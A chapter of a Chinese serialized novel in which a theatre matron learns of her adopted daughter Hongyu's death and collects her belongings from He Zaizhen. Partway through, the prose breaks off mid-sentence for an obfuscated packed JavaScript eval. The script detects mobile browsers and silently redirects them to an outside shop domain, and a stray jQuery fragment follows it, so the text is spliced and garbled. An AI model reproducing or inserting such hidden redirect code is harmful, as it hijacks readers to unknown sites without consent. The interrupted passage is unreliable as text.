上次话说到何在有和赵希敏的婚事安排在六月中旬，挨在何在真的婚礼后。两人婚后住在何家，因为在市区外边，加之家中没有保姆，希敏十分不习惯，两人便搬到赵家居住。又因希敏的哥哥赵端甫业已结婚，希敏和嫂嫂不对付，回家里又十分不惯，便买了一间公寓暂住。两人打定主意，不和白若曼同居，免得她扰了二人的二人世界。这白若曼先前以为儿子孝顺，娶了富家小姐便要孝敬自己，闻言心中衔恨，倒想起女儿在真，去傅公馆住了一段时间。话分两头，因梁太太邀约，在真径去找红玉，不想没说多少话，红玉便撒手人寰。正是：悲莫悲兮生别离，乐莫乐兮新相知。
这天正值中秋佳节，芙蓉大戏院的李妈妈因为许久不见红玉嫁的那个程老板，加之这是红玉嫁出去之后的第一个大节，两厢不通吊庆，只怕程老板见怪，叫院里的角儿们心寒。加之抱翠等人许久不到红玉那儿去，她便亲自去了一趟。一早换了黑底闪金绣球花纹真丝旗袍，坐车往红玉那儿去。
到公寓，径上红玉的那间屋子。按许久电铃却没有人应，李妈妈在外面拍门，叫道：“红玉！”没有人应。又因过节放假，隔壁邻居都出门游玩，倒没人出来为她解答，李妈妈只得下楼问门房。
李妈妈道：“劳驾，请问三楼程老板家的人是都出门了吗？”
门房小子是个圆脑袋寸头的，戴一副黑色塑料圆框眼镜，手上拿着一张报纸在看，先是不言语。李妈妈又问了两三遍，他才抬头瞅了李妈妈一眼，报纸一抖，身子一侧，撇着嘴道：“我又不是他家的人，我怎么知道！”
李妈妈脸上堆笑，说道：“小哥，我是程老板的丈母娘。他一向忙，我打电话到他家里，没有人接，我还以为是他们手上忙着别的事情，想着我直接过来也是一样的。不想刚才我上去看了，才知道人通不在家里。大过节的，一点不事先告诉我。或许他给你留了字条？”
门房哼道：“没有！我们这儿不帮忙收什么字条！”
李妈妈又问道：“再不然，你们是一直在这儿守着的，早上他出去的时候你该看见了？”那门房闭紧了嘴不言语，李妈妈又好气，又好笑，手肘磕在台面上，伸手戳了戳他的报纸，恨不得戳穿了，但脸上还是笑道：“你真忙！守在这儿也要看报纸呢！多好学上进！”一面掏出两块钱放在台面上，说：“天热，请你喝汽水，你年轻轻的守在这儿多不容易！”嘴上这么说，心里暗道：贼小子，等见了程老板你才知道老娘是谁！撒泡尿叫你喝你也得喝！这会给你脸了，在我面前乔张做致的！——从来只有别人对我低声下气的时候。在我面前充大爷，好便罢了，不好时打你便打了。臭守门的，这样会耍心眼子。
门房见着那钱倒笑了，接过来放到报纸下，一面问道：“你找谁？你女婿哪位？”
李妈妈笑道：“程老板程伯和，三楼301室。”
门房摊开记录簿，半晌吐舌道：“他早不在这里住了，一个多月前退了房子。呀，还有三个月的房钱呢，不知道怎的去得那么着忙。”他想了想，拍手道：“哎哟，婶婶，死的好像是你女儿。就一个多月前死的，然后退的房子。”
李妈妈惊道：“谁死了？”
门房道：“你女儿。我记着是个唱戏的？”
李妈妈忙道：“可不就是我女儿！什么时候死的，我一点不知道。那程老板怎么一点不知会我？虽说嫁出去的女儿泼出去的水，好歹做了二十几年的母女，我照看她多辛苦！”
门房摆手道：“嗳，嗳，婶婶，不是程老板处理的，是一个太太处理的她。”
李妈妈听了更是疑惑，心里惦记着要到屋里看看，因道：“小哥，劳烦你帮我开个门，我好歹要进去看一眼。我女儿死了，我这个当妈的一点不知道，这是什么道理？难不成她是被人害了？手脚做得那么密，只瞒着我一个人！这事不说清楚，我要找你们房东到警察局去！”
那门房听了急了，从凳子上跳起来，忙说：“别着急别着急，婶婶，我带你去看看。”
两人便带了钥匙到三楼开门。里边和从前的布置差不多，只少了一张长沙发，卧室里的床也换了。这屋里的家具大多是程伯和、红玉两人结婚时置办的，但两人一走，何在真也不要，干脆一应留给房东处理。那房东怕晦气，丢了长沙发和红木大床。沙发便罢了，那红木大床可是费了一番心思。房东原本心里要它，想搬回家去给女儿用，但又怕；想着仍留在卧室里给下一任租客，但仍是怕见鬼。思来想去，好容易转手给了一个亲戚，那亲戚搬家，正用得上，卖了三百块钱。
李妈妈看了一遍，贵重东西一件没有，连衣橱里都是空的，便逼问门房是谁处理的丧事。
门房自悔嘴快说了前情，只好一咕噜全说出来，道：“好像是傅公馆的傅太太。这房里的东西也全是她处理的。那时候我也不在旁边，是我东家在旁边看着的。说是都打扫干净了，只有这剩下的家具太大了不要，全交给我东家处理，这是说好了的。她走的时候，带了好大一只箱子呢。你看你女儿东西少了什么，也许是她带走了，可和我没关系。”
李妈妈恨道：“少什么东西？这是一件东西也没有！我找着那个什么傅太太也就算了。找不到，回来和你们算账。”
门房一面擦汗，一面道：“嗳，那是应该的。但那位傅太太也是有头有脸的人家，断不会霸占你女儿那点东西。人家还留了地址的呢，就是预备后边你们有人过来处理。我把地址写给你，你好好找人家说道。”
拿了地址，李妈妈又坐车往傅公馆去。
傅公馆里，傅似逸吃了早饭到办公室去了，何在真倒在家里，和张妈学上海话。她在家里穿一身圆领半袖天麻真丝白色衬衫，下边一条浅卡其色五分短裤，遮了一半膝盖，脚上踩一双黑底子红绣花皮拖鞋。
一旁还通着电话，是和白莉莉讲话。白莉莉上次和方义和闹了一顿，等了许久不见他来哄自己，在小姐妹家住久了倒尴尬，只好自己讪讪地回去了。
方义和没话说，倒是方太太说：“回来就好。一个房间罢了，我自己心里是不在意的，只他们旁人见了要争两句。也是为着我的缘故，生怕我是被你欺负了。但我早说了，你到家里来倒是好的，家里热闹一些，我都半百的人了，有什么气不过？你一走，家里着实冷清很多，以后不许再胡闹了。”
一番话笼住白莉莉，又乔张做致了几天，推身体不舒服，叫把饭开在卧室里。方太太见她不下楼，自己上去陪了她几天。
那方义和乐得不管，做甩手掌柜，家里风平浪静的，他到外面开房间兴风作浪去了。
因着红玉刚去世，几个人闷闷不乐，也不好约会见面。白莉莉闷着一肚子的话，便打电话来解闷。
听张妈要教在真讲上海话，她巴不得立刻飞来一同教学，好摆弄一番自己好容易学的上海话。来不了，只好在电话里兴兴头头地指点。
白莉莉笑道：“你可得努力学！不是过年的时候要回上海？我们之前到上海去，他们老一辈的人可喜欢说上海话。听你会讲几句上海话，谁都对你客气几分。你要是巴巴地说国语，人家一听就知道你是外地的，买个东西都要敲你的竹杠呢。”
何在真道：“我这不是在学吗？那么难学，不知道你怎么学会的。你常常到上海那边去？是不是在那边长住过？”
半晌，白莉莉一笑，说：“谁没事到上海去住？就是想住，口袋里还没那个钱呢。要是去了那边住，家里的生意又不在那儿的，到底不是根。要想住着玩，租房子要钱、吃饭要钱，还不如住在家里呢，那笔钱可以多做几身衣裳。我是以前总听张妈和你家傅少爷将说上海话，听着好玩，反正没事做，学了来说。”
张妈接过来道：“多说就会了，也不是十天半八个月就能都会说的，少少也要学个半年呢。”
何在真笑道：“我怕是半年一年也学不会。一直学的国语，就是在北京上学，也只是听北调的国语，没听见谁说地方方言的。突然要学，脑子里转不过来。”
对于东边沿海的上海，那一座最现代化的中国的城市，对它的地方语言总是不消化。明明灯红酒绿，装配上现代化的一切，在工业文明中轰隆隆地发展，语言却还是自古流传下来的古语，一种古与今混乱的感觉。
张妈只是笑，又从“早好、午好、晚好”教起。
何在真听了一遍，跟着用上海话说一遍——变调的上海话。电话里的白莉莉和旁边的佣人都笑起来。
张妈一面笑，一面说：“没关系，一开始都是这样的。你别听方二奶奶笑话你，她一开始学的时候也是这个声调呢。”
白莉莉佯怒道：“张妈——”
正说着话，外边院子的门铃响了，不知道是谁急急连着揿了几声。佣人出去开门，没一会进来报道：“少奶奶，外边来了一个说是芙蓉大戏院的人。她说她是红玉的妈。”
何在真想了想，说：“请她进来吧。”见佣人出去请人，她向白莉莉道：“家里来客人了，不和你打电话了，免得你还笑话我。”
白莉莉连声道：“没有笑你，不过想起自己刚学的样子罢了，怪好玩的。再不笑你了，你安心学吧。”听说是有客人，又问道：“是谁过去了？不是许曼她们吧？”
何在真说不是，说：“要是她们，我也就直接和你说名字了。”白莉莉听了，倒也说不打了，随即挂了电话。
佣人带进来一个人，果然是戏院的李妈妈。她进来一看何在真的打扮，先怀疑她是这公馆主人的女儿或者妹妹，落后听见佣人唤她“少奶奶”，才知道这傅公馆住的是少爷，何在真竟是个太太。
李妈妈敛了神色，连忙笑道：“是同我们红玉一块玩的傅太太？这突然上门打搅，真是不好意思。来得匆忙，一点礼物也没有带。”
何在真站起来，一面道：“没关系。”一面带她到里面的会客室坐下。
李妈妈看了一圈，接过佣人泡的一盏瓜仁冬瓜浓茶，长叹道：“傅太太！我也不同你绕圈子了——我们红玉什么时候去的？怎么通不告诉我们戏院那边一声？好歹是从我们戏院里嫁出去的，我从小看着她长大，好容易长成一个如花似玉的姑娘了，好容易见着她找个好人家——谁知道今天竟然是白发人送黑发人？这人都去了一个月了，尸骨都冷透了！——我是来迟了！她是怎么死的？不明不白就去了？那程伯和，我看他是个好人，原来竟是个心狠的！巴巴地娶了人去，作践得不活了，他倒撇了她去了。”说着呜呜咽咽地哭起来，又是骂红玉不孝，又是骂程伯和是个没良心的。
何在真见她哭，忙道：“快别哭了。红玉姊当初还吩咐我叫我别告诉你，就是怕你这样伤心。我也不知道你怎的突然知道了——哭成这样，红玉姊也该伤心了。她人就是一个多月前走的，送到医院检查，说是肺病，拖了太久，早没法治了。她是在公寓里去世的，我那天因为要约她出门玩，先打了她的电
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940442|206699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
话，总没有人接。我们几个要好的都知道她轻易不出门的，要出门不过就是和我们几个一起。看着情况不对，我就独自去了她公寓找她，说了没几句她便走了。这倒不干程伯和的事——我这个外人倒不清楚他，但是红玉姊说和他没关系。他早和红玉姊说好了，也不知道离没离婚，总之他一个人回老家去了。”
李妈妈冷笑道：“离什么婚呐！我们红玉是个命苦的，也是她心比天高、命比纸薄——从前总要找个最好的，一路蹉跎到这个岁数，只好拣了姓程的跟了。那姓程的原本就有妻子，和她结婚？那是要犯重婚罪！就是没有罪名，一张结婚证明也算不得什么，他要走，那露水姻缘就散了！一张纸顶得什么事？傅太太，你说——红玉这是什么命？她可怜，可路都是她自己走的！谁拦着她走别的路了？这会丢下我这个老的，早送她去了。要一个个都和她这样，以后谁来送我呢？”
何在真听了无话，只勉强笑了笑。
张妈见那李妈妈说得凄惨，自家少奶奶僵住，只好道：“快别哭了，人都走了一个多月了。这生死有命，我们活着的还去念叨死人做什么？没得叫她地下不安。这各人有各人的命，她的命是这样，谁说你别的女儿的命也这样呢？少不得你的福气在后头，不用伤心成这样。”
半晌，李妈妈擦了眼泪道：“你老人家说得是。一个个命儿薄成她这样，那才真是叫我别活了。可怜她才多少岁？一时丢了我去了，什么东西都没留下来，谁记得她什么？要是留根簪子、留一身衣服，我放在那儿，见着个影儿，倒还好怀念怀念她。她撒手就去的人，我念着今天是中秋节，好歹请她回去和姊妹们团圆一天。她是嫁出去的人了，虽然我们戏院里不过开戏台子唱戏，但人多混杂，三教九流的都有。她一个出去的人哪里好再回来的？她婚后也就不大和她姊妹们见面。谁知道——到她的公寓去，人没有了，一件她的东西都没有了，连个留作纪念的东西都没有！”说着又流了两行泪。
说到红玉的遗物了，不知怎的，何在真的心紧了紧，说道：“这个不要紧，她的东西早放到我这儿来了，衣服、首饰，还有一些零零散散的现钞。那房子里的家具倒也是她两人买的，但忙着丧礼，一应都给了房东处理。不知道你觉得如何——”说到这儿，她吩咐佣人道：“去杂物间取我之前带回来的那两个箱子。”
佣人应声去了，一会儿就提了两个箱子出来，放在何在真的脚边。
何在真在李妈妈面前打开，说：“你看看——不知道你知道她家里有什么吗？左右我只在她家里收拾出了这些。当时其他几个朋友也在的，你要是不放心，我叫她们过来一并检查检查。红玉姊走前也说了，她这些东西一部分是从戏院里带出来的，她的私蓄；一部分是结婚之后程老板给她置办的，他走的时候一件没要，说留给红玉姊过日子。红玉姊原本叫我找机会再送回戏院去，我倒不知道什么时候是好机会。幸好你来了，先一步知道这件事，免得我心里总惦记着。”
李妈妈听她这般这般，低头看了一遍皮箱里的东西，有两件鼠灰披袄、一条棕色狐狸围脖，另一只小箱子里放着零散几个金镯子银镯子，其余都是不值钱的日常衣服、汗巾、发夹之类。又以为何在真是个年纪轻轻的太太，说话倒还诚恳，还不是油腔滑调耍花腔的那类，住的又是这么个公馆。一时倒不怀疑她私吞了些什么，拿汗巾慢慢擦了眼泪，一面脸上堆起笑来，说道：“也多亏了她有你这么个知心的朋友，这些零零散散的东西还可以托付给你。要是换做一个卑鄙些的，别管这些是值钱不值钱的，先扣在手上了，哪里有留给我们的？她这些东西，好一些衣服还是在戏院里穿的呢，我带回去，她的姊妹们看了，少不得哭一场。分给她们，也是相识一场、留作纪念了。她可曾交代专门分给谁？院里人多，虽然她出去了，但算起来，一个个都和她要好呢。东西就这么几件，还真不知道分给谁。”
何在真想了想，点了几件衣服，说：“我记着她说戏院里和她身形差不多的只有那几位，抱翠、夏荷等人——我记不得那么多人名了，总之是把衣服给能穿上的。不过这衣服也都旧了，虽然还值一些钱，也许大家都不想要，况且是她穿过的。她说丢了也可以。你不知道，我们几个已经给她丢了一堆衣服了，不然更多。留下的都是还值钱的。至于几件披袄，她说交给你倒罢了，随你以后给谁。那几样首饰，她说给抱翠，叫她处置。”
李妈妈闻言笑了笑，说：“她倒还惦记着那几个。听她这番话，我倒是知道她怎么想的了。傅太太你也放心，我一定给她处置好了。”一面关了箱子放在地上。
那箱子里堆了满箱的颜色衣服、颜色首饰，真是种种色放着光华，就这样合上了——红玉的一生。
何在真侧过脸去不看，说道：“你处置就好了，她原本是叫我暂时保管。”
李妈妈又说了几句闲话，告辞道：“那我就不打扰了，这戏院里还等着我回去说话呢。出来这么久一趟，谁知道是这么件事！回去告诉她们，倒还以为我吓唬她们呢。”因说起今天中秋，又说：“团团圆圆的日子，谁知道就天人永隔了？她的墓地葬在哪里？我少不得今天就要去看看她的。”
何在真见她要提两个箱子，又听她说要去看红玉的墓，便道：“我送你过去看看她吧，也是送她一场。然后再送你回去——你这两个箱子呢，不方便坐车。”
李妈妈一愣，笑道：“嗳，那真是多谢谢你了，傅太太。”